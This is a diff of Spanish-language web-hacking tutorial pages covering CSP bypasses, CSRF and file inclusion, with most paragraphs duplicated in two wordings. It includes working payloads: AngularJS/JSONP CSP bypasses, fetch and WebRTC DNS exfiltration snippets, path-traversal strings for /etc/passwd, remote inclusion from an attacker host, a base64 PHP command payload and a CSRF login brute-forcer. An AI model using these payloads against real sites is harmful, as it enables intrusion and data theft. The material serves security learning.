Una política específica conocida como Content Security Policy (CSP) puede restringir los eventos de JavaScript. No obstante, AngularJS introduce eventos personalizados como una alternativa. Dentro de un evento, AngularJS proporciona un objeto único `$event`, que hace referencia al objeto de evento nativo del navegador. Este objeto `$event` puede ser explotado para eludir el CSP. Notablemente, en Chrome, el objeto `$event/event` posee un atributo `path`, que contiene un array de objetos implicados en la cadena de ejecución del evento, con el objeto `window` invariablemente posicionado al final. Esta estructura es fundamental para las tácticas de escape de sandbox.
Una política específica conocida como Content Security Policy (CSP) puede restringir los eventos de JavaScript. No obstante, AngularJS introduce eventos personalizados como alternativa. Dentro de un evento, AngularJS proporciona un objeto único `$event`, que hace referencia al objeto de evento nativo del navegador. Este objeto `$event` puede ser explotado para eludir el CSP. Notablemente, en Chrome, el objeto `$event/event` posee un atributo `path`, que contiene un array de objetos implicados en la cadena de ejecución del evento, con el objeto `window` invariablemente posicionado al final. Esta estructura es fundamental para las tácticas de escape de sandbox.
Al dirigir este array al filtro `orderBy`, es posible iterar sobre él, aprovechando el elemento terminal (el objeto `window`) para activar una función global como `alert()`. El fragmento de código demostrado a continuación elucida este proceso:
```xml
@ -422,7 +422,7 @@ ng-app"ng-csp ng-click=$event.view.alert(1337)><script src=//ajax.googleapis.com
<!-- no longer working -->
<script src="https://www.googleapis.com/customsearch/v1?callback=alert(1)">
```
Otros puntos de ejecución arbitraria de JSONP se pueden encontrar en [**aquí**](https://github.com/zigoo0/JSONBee/blob/master/jsonp.txt) (algunos de ellos fueron eliminados o corregidos)
Otros puntos de ejecución arbitraria JSONP se pueden encontrar en [**aquí**](https://github.com/zigoo0/JSONBee/blob/master/jsonp.txt) (algunos de ellos fueron eliminados o corregidos)
### Bypass a través de Redirección
@ -496,13 +496,13 @@ Puedes encontrar un ejemplo aquí: [http://portswigger-labs.net/edge\_csp\_injec
#### Edge
En Edge es mucho más simple. Si puedes agregar en el CSP solo esto: **`;_`** **Edge** **eliminará** toda la **política**.\
En Edge es mucho más simple. Si puedes agregar en el CSP solo esto: **`;_`** **Edge** **eliminaría** toda la **política**.\
Ejemplo: [http://portswigger-labs.net/edge\_csp\_injection\_xndhfye721/?x=;\_\&y=%3Cscript%3Ealert(1)%3C/script%3E](http://portswigger-labs.net/edge\_csp\_injection\_xndhfye721/?x=;\_\&y=%3Cscript%3Ealert\(1\)%3C/script%3E)
### img-src \*; vía XSS (iframe) - Ataque de tiempo
### img-src \*; via XSS (iframe) - Ataque de tiempo
Nota la falta de la directiva `'unsafe-inline'`\
Esta vez puedes hacer que la víctima **cargue** una página bajo **tu control** a través de **XSS** con un `<iframe`. Esta vez vas a hacer que la víctima acceda a la página de donde quieres extraer información (**CSRF**). No puedes acceder al contenido de la página, pero si de alguna manera puedes **controlar el tiempo que la página necesita para cargar** puedes extraer la información que necesitas.
Esta vez puedes hacer que la víctima **cargue** una página bajo **tu control** a través de **XSS** con un `<iframe`. Esta vez vas a hacer que la víctima acceda a la página desde donde quieres extraer información (**CSRF**). No puedes acceder al contenido de la página, pero si de alguna manera puedes **controlar el tiempo que la página necesita para cargar** puedes extraer la información que necesitas.
Esta vez se va a extraer una **bandera**, cada vez que un **carácter es adivinado correctamente** a través de SQLi, la **respuesta** toma **más tiempo** debido a la función de sueño. Entonces, podrás extraer la bandera:
```html
@ -583,7 +583,7 @@ Puedes **restringir un CSP de un Iframe** con el **atributo `csp`**:
{% endcode %}
En [**este informe de CTF**](https://github.com/aszx87410/ctf-writeups/issues/48), fue posible a través de **inyección HTML** **restringir** más un **CSP** de modo que un script que prevenía CSTI fue deshabilitado y, por lo tanto, la **vulnerabilidad se volvió explotable.**\
CSP se puede hacer más restrictivo utilizando **etiquetas meta HTML** y los scripts en línea pueden deshabilitarse **eliminando** la **entrada** que permite su **nonce** y **habilitar scripts en línea específicos a través de sha**:
CSP se puede hacer más restrictivo utilizando **meta etiquetas HTML** y los scripts en línea pueden deshabilitarse **eliminando** la **entrada** que permite su **nonce** y **habilitar un script en línea específico a través de sha**:
```html
<meta http-equiv="Content-Security-Policy" content="script-src 'self'
'unsafe-eval' 'strict-dynamic'
@ -594,7 +594,7 @@ CSP se puede hacer más restrictivo utilizando **etiquetas meta HTML** y los scr
Si logras que el servidor responda con el encabezado **`Content-Security-Policy-Report-Only`** con un **valor controlado por ti** (quizás debido a un CRLF), podrías hacer que apunte a tu servidor y si **envuelves** el **contenido JS** que deseas exfiltrar con **`<script>`** y dado que es muy probable que `unsafe-inline` no esté permitido por la CSP, esto **activará un error de CSP** y parte del script (que contiene la información sensible) será enviada al servidor desde `Content-Security-Policy-Report-Only`.
Para un ejemplo [**consulta este informe de CTF**](https://github.com/maple3142/My-CTF-Challenges/tree/master/TSJ%20CTF%202022/Nim%20Notes).
Para un ejemplo [**consulta este writeup de CTF**](https://github.com/maple3142/My-CTF-Challenges/tree/master/TSJ%20CTF%202022/Nim%20Notes).
### [CVE-2020-6519](https://www.perimeterx.com/tech-blog/2020/csp-bypass-vuln-disclosure/)
```javascript
@ -608,7 +608,7 @@ document.querySelector('DIV').innerHTML="<iframe src='javascript:var s = documen
Es interesante notar que navegadores como Chrome y Firefox tienen comportamientos diferentes al manejar iframes con respecto a CSP, lo que lleva a una posible filtración de información sensible debido a un comportamiento indefinido.
Otra técnica implica explotar el CSP mismo para deducir el subdominio secreto. Este método se basa en un algoritmo de búsqueda binaria y en ajustar el CSP para incluir dominios específicos que están deliberadamente bloqueados. Por ejemplo, si el subdominio secreto está compuesto de caracteres desconocidos, se pueden probar iterativamente diferentes subdominios modificando la directiva CSP para bloquear o permitir estos subdominios. Aquí hay un fragmento que muestra cómo podría configurarse el CSP para facilitar este método:
Otra técnica implica explotar el CSP mismo para deducir el subdominio secreto. Este método se basa en un algoritmo de búsqueda binaria y en ajustar el CSP para incluir dominios específicos que están deliberadamente bloqueados. Por ejemplo, si el subdominio secreto está compuesto de caracteres desconocidos, se pueden probar iterativamente diferentes subdominios modificando la directiva CSP para bloquear o permitir estos subdominios. Aquí hay un fragmento que muestra cómo se podría configurar el CSP para facilitar este método:
```markdown
img-src https://chall.secdriven.dev https://doc-1-3213.secdrivencontent.dev https://doc-2-3213.secdrivencontent.dev ... https://doc-17-3213.secdriven.dev
```
@ -618,7 +618,7 @@ Ambos métodos explotan las sutilezas de la implementación y el comportamiento
Truco de [**aquí**](https://ctftime.org/writeup/29310).
<figure><img src="../../.gitbook/assets/image (380).png" alt=""><figcaption></figcaption></figure>
<figure><img src="/.gitbook/assets/image.png" alt=""><figcaption></figcaption></figure>
¡Únete al servidor de [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) para comunicarte con hackers experimentados y cazadores de bugs!
@ -631,7 +631,7 @@ Mantente al día con el mundo del hacking de ritmo rápido a través de noticias
**Últimos Anuncios**\
Mantente informado sobre los nuevos bug bounties que se lanzan y actualizaciones cruciales de la plataforma
¡Únete a nosotros en [**Discord**](https://discord.com/invite/N3FrSbmwdy) y comienza a colaborar con los mejores hackers hoy!
**Únete a nosotros en** [**Discord**](https://discord.com/invite/N3FrSbmwdy) y comienza a colaborar con los mejores hackers hoy mismo!
## Tecnologías Inseguras para Bypass CSP
@ -657,15 +657,15 @@ a.document.body.innerHTML = `<img src=x onerror="fetch('https://filesharing.m0le
```
### SOME + 'self' + wordpress
SOME es una técnica que abusa de un XSS (o XSS altamente limitado) **en un endpoint de una página** para **abusar** **de otros endpoints de la misma origen.** Esto se hace cargando el endpoint vulnerable desde una página del atacante y luego actualizando la página del atacante al endpoint real en la misma origen que deseas abusar. De esta manera, el **endpoint vulnerable** puede usar el objeto **`opener`** en la **carga útil** para **acceder al DOM** del **endpoint real a abusar**. Para más información, consulta:
SOME es una técnica que abusa de un XSS (o XSS altamente limitado) **en un endpoint de una página** para **abusar** **de otros endpoints de la misma origen.** Esto se hace cargando el endpoint vulnerable desde una página del atacante y luego refrescando la página del atacante al endpoint real en la misma origen que deseas abusar. De esta manera, el **endpoint vulnerable** puede usar el objeto **`opener`** en la **carga útil** para **acceder al DOM** del **endpoint real a abusar**. Para más información, consulta:
{% content-ref url="../xss-cross-site-scripting/some-same-origin-method-execution.md" %}
[some-same-origin-method-execution.md](../xss-cross-site-scripting/some-same-origin-method-execution.md)
{% endcontent-ref %}
Además, **wordpress** tiene un **endpoint JSONP** en `/wp-json/wp/v2/users/1?_jsonp=data` que **reflejará** los **datos** enviados en la salida (con la limitación de solo letras, números y puntos).
Además, **wordpress** tiene un endpoint **JSONP** en `/wp-json/wp/v2/users/1?_jsonp=data` que **reflejará** los **datos** enviados en la salida (con la limitación de solo letras, números y puntos).
Un atacante puede abusar de ese endpoint para **generar un ataque SOME** contra WordPress y **incrustarlo** dentro de `<script s`rc=`/wp-json/wp/v2/users/1?_jsonp=some_attack></script>` ten en cuenta que este **script** será **cargado** porque está **permitido por 'self'**. Además, y porque WordPress está instalado, un atacante podría abusar del **ataque SOME** a través del **endpoint** **callback** **vulnerable** que **elude el CSP** para dar más privilegios a un usuario, instalar un nuevo plugin...\
Un atacante puede abusar de ese endpoint para **generar un ataque SOME** contra WordPress y **incrustarlo** dentro de `<script s`rc=`/wp-json/wp/v2/users/1?_jsonp=some_attack></script>` ten en cuenta que este **script** será **cargado** porque está **permitido por 'self'**. Además, y debido a que WordPress está instalado, un atacante podría abusar del **ataque SOME** a través del endpoint **callback** **vulnerable** que **elude el CSP** para dar más privilegios a un usuario, instalar un nuevo plugin...\
Para más información sobre cómo realizar este ataque, consulta [https://octagon.net/blog/2022/05/29/bypass-csp-using-wordpress-by-abusing-same-origin-method-execution/](https://octagon.net/blog/2022/05/29/bypass-csp-using-wordpress-by-abusing-same-origin-method-execution/)
## Bypasses de Exfiltración CSP
@ -715,7 +715,7 @@ Aparentemente, esta técnica no funciona en navegadores sin cabeza (bots)
En varias páginas puedes leer que **WebRTC no verifica la política `connect-src`** del CSP.
En realidad, puedes _leak_ información utilizando una _solicitud DNS_. Revisa este código:
En realidad, puedes _leak_ información usando una _solicitud DNS_. Revisa este código:
```javascript
(async()=>{p=new RTCPeerConnection({iceServers:[{urls: "stun:LEAK.dnsbin"}]});p.createDataChannel('');p.setLocalDescription(await p.createOffer())})()
```
@ -752,7 +752,7 @@ pc.createOffer().then((sdp)=>pc.setLocalDescription(sdp);
<figure><img src="../../.gitbook/assets/image (380).png" alt=""><figcaption></figcaption></figure>
<figure><img src="/.gitbook/assets/image.png" alt=""><figcaption></figcaption></figure>
Únete al servidor de [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) para comunicarte con hackers experimentados y cazadores de bugs.

View file

@ -15,7 +15,7 @@ Learn & practice GCP Hacking: <img src="../.gitbook/assets/grte.png" alt="" data
</details>
{% endhint %}
<figure><img src="../.gitbook/assets/image (380).png" alt=""><figcaption></figcaption></figure>
<figure><img src="/.gitbook/assets/image.png" alt=""><figcaption></figcaption></figure>
Join [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) server to communicate with experienced hackers and bug bounty hunters!
@ -44,7 +44,7 @@ Para explotar una vulnerabilidad CSRF, se deben cumplir varias condiciones:
### Quick Check
Puedes **capturar la solicitud en Burp** y verificar las protecciones CSRF y para probar desde el navegador puedes hacer clic en **Copy as fetch** y verificar la solicitud:
Podrías **capturar la solicitud en Burp** y verificar las protecciones CSRF y para probar desde el navegador puedes hacer clic en **Copy as fetch** y verificar la solicitud:
<figure><img src="../.gitbook/assets/image (11) (1) (1).png" alt=""><figcaption></figcaption></figure>
@ -53,9 +53,9 @@ Puedes **capturar la solicitud en Burp** y verificar las protecciones CSRF y par
Se pueden implementar varias contramedidas para protegerse contra ataques CSRF:
* [**SameSite cookies**](hacking-with-cookies/#samesite): Este atributo evita que el navegador envíe cookies junto con solicitudes de otros sitios. [Más sobre cookies SameSite](hacking-with-cookies/#samesite).
* [**Cross-origin resource sharing**](cors-bypass.md): La política CORS del sitio de la víctima puede influir en la viabilidad del ataque, especialmente si el ataque requiere leer la respuesta del sitio de la víctima. [Aprende sobre el bypass de CORS](cors-bypass.md).
* [**Cross-origin resource sharing**](cors-bypass.md): La política CORS del sitio víctima puede influir en la viabilidad del ataque, especialmente si el ataque requiere leer la respuesta del sitio víctima. [Aprende sobre el bypass de CORS](cors-bypass.md).
* **Verificación del Usuario**: Solicitar la contraseña del usuario o resolver un captcha puede confirmar la intención del usuario.
* **Verificación de Encabezados Referrer u Origin**: Validar estos encabezados puede ayudar a asegurar que las solicitudes provengan de fuentes confiables. Sin embargo, la elaboración cuidadosa de URLs puede eludir verificaciones mal implementadas, como:
* **Verificación de Encabezados Referer u Origin**: Validar estos encabezados puede ayudar a asegurar que las solicitudes provengan de fuentes confiables. Sin embargo, la elaboración cuidadosa de URLs puede eludir verificaciones mal implementadas, como:
* Usar `http://mal.net?orig=http://example.com` (la URL termina con la URL confiable)
* Usar `http://example.com.mal.net` (la URL comienza con la URL confiable)
* **Modificación de Nombres de Parámetros**: Alterar los nombres de los parámetros en solicitudes POST o GET puede ayudar a prevenir ataques automatizados.
@ -87,7 +87,7 @@ Esta vulnerabilidad permite a los atacantes realizar solicitudes no autorizadas
### Method bypass
Si la solicitud está utilizando un método "**raro**", verifica si la **funcionalidad** de **sobrescritura de método** está funcionando. Por ejemplo, si está **usando un método PUT** puedes intentar **usar un método POST** y **enviar**: _https://example.com/my/dear/api/val/num?**\_method=PUT**_
Si la solicitud está utilizando un **método "raro"**, verifica si la **funcionalidad de anulación de método** está funcionando. Por ejemplo, si está **usando un método PUT** puedes intentar **usar un método POST** y **enviar**: _https://example.com/my/dear/api/val/num?**\_method=PUT**_
Esto también podría funcionar enviando el **parámetro \_method dentro de una solicitud POST** o usando los **encabezados**:
@ -97,7 +97,7 @@ Esto también podría funcionar enviando el **parámetro \_method dentro de una
### Custom header token bypass
Si la solicitud está añadiendo un **encabezado personalizado** con un **token** a la solicitud como **método de protección CSRF**, entonces:
Si la solicitud está agregando un **encabezado personalizado** con un **token** a la solicitud como **método de protección CSRF**, entonces:
* Prueba la solicitud sin el **Token Personalizado y también el encabezado.**
* Prueba la solicitud con el **mismo tamaño exacto pero con un token diferente**.
@ -153,10 +153,10 @@ form.submit();
```
### Bypass de solicitudes de preflight para datos JSON
Al intentar enviar datos JSON a través de una solicitud POST, no es posible utilizar directamente `Content-Type: application/json` en un formulario HTML. De manera similar, utilizar `XMLHttpRequest` para enviar este tipo de contenido inicia una solicitud de preflight. No obstante, existen estrategias para potencialmente eludir esta limitación y verificar si el servidor procesa los datos JSON independientemente del Content-Type:
Al intentar enviar datos JSON a través de una solicitud POST, no es posible utilizar `Content-Type: application/json` en un formulario HTML de manera directa. De manera similar, utilizar `XMLHttpRequest` para enviar este tipo de contenido inicia una solicitud de preflight. No obstante, existen estrategias para potencialmente eludir esta limitación y verificar si el servidor procesa los datos JSON independientemente del Content-Type:
1. **Usar tipos de contenido alternativos**: Emplear `Content-Type: text/plain` o `Content-Type: application/x-www-form-urlencoded` configurando `enctype="text/plain"` en el formulario. Este enfoque prueba si el backend utiliza los datos independientemente del Content-Type.
2. **Modificar el tipo de contenido**: Para evitar una solicitud de preflight mientras se asegura que el servidor reconozca el contenido como JSON, puede enviar los datos con `Content-Type: text/plain; application/json`. Esto no activa una solicitud de preflight, pero podría ser procesado correctamente por el servidor si está configurado para aceptar `application/json`.
1. **Usar tipos de contenido alternativos**: Emplear `Content-Type: text/plain` o `Content-Type: application/x-www-form-urlencoded` configurando `enctype="text/plain"` en el formulario. Este enfoque prueba si el backend utiliza los datos sin importar el Content-Type.
2. **Modificar el tipo de contenido**: Para evitar una solicitud de preflight mientras se asegura que el servidor reconozca el contenido como JSON, se puede enviar los datos con `Content-Type: text/plain; application/json`. Esto no activa una solicitud de preflight, pero podría ser procesado correctamente por el servidor si está configurado para aceptar `application/json`.
3. **Utilización de archivos SWF Flash**: Un método menos común pero factible implica usar un archivo SWF flash para eludir tales restricciones. Para una comprensión más profunda de esta técnica, consulte [esta publicación](https://anonymousyogi.medium.com/json-csrf-csrf-that-none-talks-about-c2bf9a480937).
### Bypass de verificación de Referer / Origen
@ -196,11 +196,11 @@ document.forms[0].submit();
```
### **Método HEAD bypass**
La primera parte de [**este CTF writeup**](https://github.com/google/google-ctf/tree/master/2023/web-vegsoda/solution) explica que [el código fuente de Oak](https://github.com/oakserver/oak/blob/main/router.ts#L281), un enrutador, está configurado para **manejar solicitudes HEAD como solicitudes GET** sin cuerpo de respuesta, un método común que no es exclusivo de Oak. En lugar de un controlador específico que maneje las solicitudes HEAD, simplemente **se les da al controlador GET, pero la aplicación solo elimina el cuerpo de la respuesta**.
La primera parte de [**este informe CTF**](https://github.com/google/google-ctf/tree/master/2023/web-vegsoda/solution) explica que [el código fuente de Oak](https://github.com/oakserver/oak/blob/main/router.ts#L281), un enrutador, está configurado para **manejar solicitudes HEAD como solicitudes GET** sin cuerpo de respuesta, un método común que no es exclusivo de Oak. En lugar de un controlador específico que maneje las solicitudes HEAD, simplemente **se les da al controlador GET, pero la aplicación solo elimina el cuerpo de la respuesta**.
Por lo tanto, si una solicitud GET está siendo limitada, podrías simplemente **enviar una solicitud HEAD que será procesada como una solicitud GET**.
## **Ejemplos de Exploit**
## **Ejemplos de explotación**
### **Exfiltrando el token CSRF**
@ -526,7 +526,7 @@ room: username
```
## CSRF Login Brute Force
El código se puede utilizar para realizar un ataque de fuerza bruta a un formulario de inicio de sesión utilizando un token CSRF (también está utilizando el encabezado X-Forwarded-For para intentar eludir un posible bloqueo de IP):
El código se puede utilizar para realizar un ataque de fuerza bruta a un formulario de inicio de sesión utilizando un token CSRF (también utiliza el encabezado X-Forwarded-For para intentar eludir un posible bloqueo de IP):
```python
import request
import re
@ -570,12 +570,12 @@ with open(PASS_LIST, "r") as f:
for line in f:
login(USER, line.strip())
```
## Tools <a href="#tools" id="tools"></a>
## Herramientas <a href="#tools" id="tools"></a>
* [https://github.com/0xInfection/XSRFProbe](https://github.com/0xInfection/XSRFProbe)
* [https://github.com/merttasci/csrf-poc-generator](https://github.com/merttasci/csrf-poc-generator)
## References
## Referencias
* [https://portswigger.net/web-security/csrf](https://portswigger.net/web-security/csrf)
* [https://portswigger.net/web-security/csrf/bypassing-token-validation](https://portswigger.net/web-security/csrf/bypassing-token-validation)
@ -584,9 +584,9 @@ login(USER, line.strip())
<figure><img src="../.gitbook/assets/image (380).png" alt=""><figcaption></figcaption></figure>
<figure><img src="/.gitbook/assets/image.png" alt=""><figcaption></figcaption></figure>
¡Únete al servidor de [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) para comunicarte con hackers experimentados y cazadores de bugs!
Únete al servidor de [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) para comunicarte con hackers experimentados y cazadores de bugs.
**Perspectivas de Hacking**\
Participa en contenido que profundiza en la emoción y los desafíos del hacking
@ -594,7 +594,7 @@ Participa en contenido que profundiza en la emoción y los desafíos del hacking
**Noticias de Hackeo en Tiempo Real**\
Mantente al día con el mundo del hacking de ritmo rápido a través de noticias e información en tiempo real
**Últimos Anuncios**\
**Últ anuncios**\
Mantente informado sobre las nuevas recompensas por bugs que se lanzan y actualizaciones cruciales de la plataforma
**Únete a nosotros en** [**Discord**](https://discord.com/invite/N3FrSbmwdy) y comienza a colaborar con los mejores hackers hoy mismo!
@ -609,7 +609,7 @@ Aprende y practica Hacking en GCP: <img src="../.gitbook/assets/grte.png" alt=""
* Revisa los [**planes de suscripción**](https://github.com/sponsors/carlospolop)!
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Comparte trucos de hacking enviando PRs a los repositorios de** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
* **Comparte trucos de hacking enviando PRs a los** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositorios de github.
</details>
{% endhint %}

View file

@ -15,25 +15,25 @@ Aprende y practica Hacking en GCP: <img src="../../.gitbook/assets/grte.png" alt
</details>
{% endhint %}
<figure><img src="../../.gitbook/assets/image (380).png" alt=""><figcaption></figcaption></figure>
<figure><img src="/.gitbook/assets/image.png" alt=""><figcaption></figcaption></figure>
Únete al [**Discord de HackenProof**](https://discord.com/invite/N3FrSbmwdy) para comunicarte con hackers experimentados y cazadores de bugs.
**Perspectivas de Hacking**\
Participa en contenido que profundiza en la emoción y los desafíos del hacking.
Participa en contenido que profundiza en la emoción y los desafíos del hacking
**Noticias de Hacking en Tiempo Real**\
Mantente al día con el mundo del hacking a través de noticias e información en tiempo real.
Mantente al día con el mundo del hacking a través de noticias e información en tiempo real
**Últimos Anuncios**\
Mantente informado sobre las nuevas recompensas por bugs que se lanzan y actualizaciones cruciales de la plataforma.
Mantente informado sobre las nuevas recompensas por bugs que se lanzan y actualizaciones cruciales de la plataforma
**Únete a nosotros en** [**Discord**](https://discord.com/invite/N3FrSbmwdy) y comienza a colaborar con los mejores hackers hoy mismo!
**Únete a nosotros en** [**Discord**](https://discord.com/invite/N3FrSbmwdy) y comienza a colaborar con los mejores hackers hoy!
## Inclusión de Archivos
**Inclusión de Archivos Remota (RFI):** El archivo se carga desde un servidor remoto (Mejor: Puedes escribir el código y el servidor lo ejecutará). En php esto está **deshabilitado** por defecto (**allow\_url\_include**).\
**Inclusión de Archivos Local (LFI):** El servidor carga un archivo local.
**Inclusión de Archivos Remotos (RFI):** El archivo se carga desde un servidor remoto (Mejor: Puedes escribir el código y el servidor lo ejecutará). En php esto está **deshabilitado** por defecto (**allow\_url\_include**).\
**Inclusión de Archivos Locales (LFI):** El servidor carga un archivo local.
La vulnerabilidad ocurre cuando el usuario puede controlar de alguna manera el archivo que va a ser cargado por el servidor.
@ -41,7 +41,7 @@ Funciones **PHP vulnerables**: require, require\_once, include, include\_once
Una herramienta interesante para explotar esta vulnerabilidad: [https://github.com/kurobeats/fimap](https://github.com/kurobeats/fimap)
## Archivos LFI2RCE Interesantes - Ciegos
## Archivos LFI2RCE - Interesantes - Ciegos
```python
wfuzz -c -w ./lfi2.txt --hw 0 http://10.10.10.10/nav.php?page=../../../../../../../FUZZ
```
@ -69,7 +69,7 @@ Una lista que utiliza varias técnicas para encontrar el archivo /boot.ini (para
### **OS X**
Consulta la lista de LFI de linux.
Revisa la lista de LFI de linux.
## LFI básico y bypasses
@ -85,7 +85,7 @@ http://some.domain.com/static/%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c/etc/passwd
```
### **Null byte (%00)**
Eludir la adición de más caracteres al final de la cadena proporcionada (eludir de: $\_GET\['param']."php")
Eludir la adición de más caracteres al final de la cadena proporcionada (elusión de: $\_GET\['param']."php")
```
http://example.com/index.php?page=../../../etc/passwd%00
```
@ -110,7 +110,7 @@ http://example.com/index.php?page=utils/scripts/../../../../../etc/passwd
El sistema de archivos de un servidor puede ser explorado recursivamente para identificar directorios, no solo archivos, empleando ciertas técnicas. Este proceso implica determinar la profundidad del directorio y sondear la existencia de carpetas específicas. A continuación se presenta un método detallado para lograr esto:
1. **Determinar la Profundidad del Directorio:** Asegúrate de la profundidad de tu directorio actual al obtener con éxito el archivo `/etc/passwd` (aplicable si el servidor es basado en Linux). Un ejemplo de URL podría estructurarse de la siguiente manera, indicando una profundidad de tres:
1. **Determinar la Profundidad del Directorio:** Asegúrate de la profundidad de tu directorio actual obteniendo con éxito el archivo `/etc/passwd` (aplicable si el servidor es basado en Linux). Un ejemplo de URL podría estructurarse de la siguiente manera, indicando una profundidad de tres:
```bash
http://example.com/index.php?page=../../../etc/passwd # depth of 3
```
@ -121,7 +121,7 @@ http://example.com/index.php?page=private/../../../../etc/passwd # depth of 3+1=
3. **Interpretar los Resultados:** La respuesta del servidor indica si la carpeta existe:
* **Error / Sin Salida:** La carpeta `private` probablemente no existe en la ubicación especificada.
* **Contenido de `/etc/passwd`:** Se confirma la presencia de la carpeta `private`.
4. **Exploración Recursiva:** Las carpetas descubiertas pueden ser investigadas más a fondo en busca de subdirectorios o archivos utilizando la misma técnica o métodos tradicionales de Inclusión de Archivos Local (LFI).
4. **Exploración Recursiva:** Las carpetas descubiertas pueden ser investigadas más a fondo en busca de subdirectorios o archivos utilizando la misma técnica o métodos tradicionales de Inclusión de Archivos Locales (LFI).
Para explorar directorios en diferentes ubicaciones en el sistema de archivos, ajusta la carga útil en consecuencia. Por ejemplo, para verificar si `/var/www/` contiene un directorio `private` (suponiendo que el directorio actual está a una profundidad de 3), usa:
```bash
@ -150,7 +150,7 @@ http://example.com/index.php?page=a/../../../../[ADD MORE]../../../../../etc/pas
En estos escenarios, el número de travesías necesarias podría ser alrededor de 2027, pero este número puede variar según la configuración del servidor.
* **Usando segmentos de punto y caracteres adicionales**: Las secuencias de travesía (`../`) combinadas con segmentos de punto adicionales y caracteres pueden ser utilizadas para navegar por el sistema de archivos, ignorando efectivamente las cadenas añadidas por el servidor.
* **Determinando el número requerido de travesías**: A través de prueba y error, se puede encontrar el número preciso de secuencias `../` necesarias para navegar hasta el directorio raíz y luego a `/etc/passwd`, asegurando que cualquier cadena añadida (como `.php`) sea neutralizada pero que la ruta deseada (`/etc/passwd`) permanezca intacta.
* **Determinando el número requerido de travesías**: A través de prueba y error, se puede encontrar el número preciso de secuencias de `../` necesarias para navegar hasta el directorio raíz y luego a `/etc/passwd`, asegurando que cualquier cadena añadida (como `.php`) sea neutralizada pero que la ruta deseada (`/etc/passwd`) permanezca intacta.
* **Comenzando con un directorio falso**: Es una práctica común comenzar la ruta con un directorio que no existe (como `a/`). Esta técnica se utiliza como medida de precaución o para cumplir con los requisitos de la lógica de análisis de rutas del servidor.
Al emplear técnicas de truncamiento de rutas, es crucial entender el comportamiento de análisis de rutas del servidor y la estructura del sistema de archivos. Cada escenario puede requerir un enfoque diferente, y a menudo es necesario realizar pruebas para encontrar el método más efectivo.
@ -167,7 +167,7 @@ http://example.com/index.php?page=PhP://filter
```
## Inclusión Remota de Archivos
En php esto está deshabilitado por defecto porque **`allow_url_include`** está **Desactivado.** Debe estar **Activado** para que funcione, y en ese caso podrías incluir un archivo PHP desde tu servidor y obtener RCE:
En php esto está deshabilitado por defecto porque **`allow_url_include`** está **Apagado.** Debe estar **Encendido** para que funcione, y en ese caso podrías incluir un archivo PHP desde tu servidor y obtener RCE:
```python
http://example.com/index.php?page=http://atacker.com/mal.php
http://example.com/index.php?page=\\attacker.com\shared\mal.php
@ -181,7 +181,7 @@ PHP://filter/convert.base64-decode/resource=data://plain/text,PD9waHAgc3lzdGVtKC
{% endcode %}
{% hint style="info" %}
En el código anterior, el `+.txt` final se añadió porque el atacante necesitaba una cadena que terminara en `.txt`, así que la cadena termina con eso y después de la decodificación b64, esa parte devolverá solo basura y el verdadero código PHP será incluido (y, por lo tanto, ejecutado).
En el código anterior, el final `+.txt` se añadió porque el atacante necesitaba una cadena que terminara en `.txt`, así que la cadena termina con eso y después de la decodificación b64, esa parte devolverá solo basura y el verdadero código PHP será incluido (y, por lo tanto, ejecutado).
{% endhint %}
Otro ejemplo **sin usar el protocolo `php://`** sería:
@ -199,7 +199,7 @@ En python en un código como este:
# file_name is controlled by a user
os.path.join(os.getcwd(), "public", file_name)
```
Si el usuario pasa una **ruta absoluta** a **`file_name`**, **la ruta anterior se elimina**:
Si el usuario pasa una **ruta absoluta** a **`file_name`**, la **ruta anterior se elimina**:
```python
os.path.join(os.getcwd(), "public", "/etc/passwd")
'/etc/passwd'
@ -208,13 +208,13 @@ Es el comportamiento previsto según [la documentación](https://docs.python.org
> Si un componente es una ruta absoluta, todos los componentes anteriores se descartan y la unión continúa desde el componente de ruta absoluta.
## Java List Directories
## Java Listar Directorios
Parece que si tienes un Path Traversal en Java y **pides un directorio** en lugar de un archivo, se **devuelve un listado del directorio**. Esto no sucederá en otros lenguajes (hasta donde sé).
## Top 25 parameters
## 25 parámetros principales
Aquí hay una lista de los 25 principales parámetros que podrían ser vulnerables a vulnerabilidades de inclusión de archivos locales (LFI) (de [enlace](https://twitter.com/trbughunters/status/1279768631845494787)):
Aquí hay una lista de los 25 parámetros principales que podrían ser vulnerables a vulnerabilidades de inclusión de archivos locales (LFI) (de [enlace](https://twitter.com/trbughunters/status/1279768631845494787)):
```
?cat={payload}
?dir={payload}
@ -246,7 +246,7 @@ Aquí hay una lista de los 25 principales parámetros que podrían ser vulnerabl
### php://filter
Los filtros de PHP permiten realizar **operaciones de modificación básicas sobre los datos** antes de que sean leídos o escritos. Hay 5 categorías de filtros:
Los filtros PHP permiten realizar **operaciones de modificación básicas sobre los datos** antes de que sean leídos o escritos. Hay 5 categorías de filtros:
* [Filtros de cadena](https://www.php.net/manual/en/filters.string.php):
* `string.rot13`
@ -315,11 +315,11 @@ En la publicación original puedes encontrar una explicación detallada de la t
* Usa el códec **`UCS-4LE`** para dejar el carácter inicial del texto al principio y hacer que el tamaño de la cadena aumente exponencialmente.
* Esto se usará para generar un **texto tan grande cuando la letra inicial se adivina correctamente** que php desencadenará un **error**.
* El filtro **dechunk** **eliminará todo si el primer carácter no es un hexadecimal**, por lo que podemos saber si el primer carácter es hexadecimal.
* Esto, combinado con lo anterior (y otros filtros dependiendo de la letra adivinada), nos permitirá adivinar una letra al principio del texto al ver cuándo hacemos suficientes transformaciones para que no sea un carácter hexadecimal. Porque si es hex, dechunk no lo eliminará y la bomba inicial hará que php dé un error.
